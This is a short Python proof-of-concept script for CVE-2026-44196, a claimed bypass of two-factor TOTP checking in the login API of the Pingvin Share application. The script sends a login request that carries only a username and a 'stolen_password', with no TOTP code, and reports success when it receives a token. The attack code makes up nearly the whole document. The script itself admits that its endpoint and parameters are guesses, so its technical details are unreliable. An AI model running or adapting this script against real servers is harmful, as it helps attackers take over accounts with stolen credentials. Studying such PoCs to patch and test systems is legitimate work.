CVE-2026-44196

import requests # Conceptual PoC for CVE-2026-44196 # This script demonstrates a login attempt that bypasses TOTP check. # Note: The specific endpoint and parameters depend on the actual application implementation. target_url = "http://target-pingvin-share/api/login" username = "[email protected]" password = "stolen_password" # Payload containing only username and password, omitting TOTP code payload = { "username": username, "password": password # In a vulnerable version, the server might accept this without 'totp_code' } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Authentication bypass successful! Token received.") print(f"[+] Response: {response.text}") else: print("[-] Login failed.") except Exception as e: print(f"Error: {e}")

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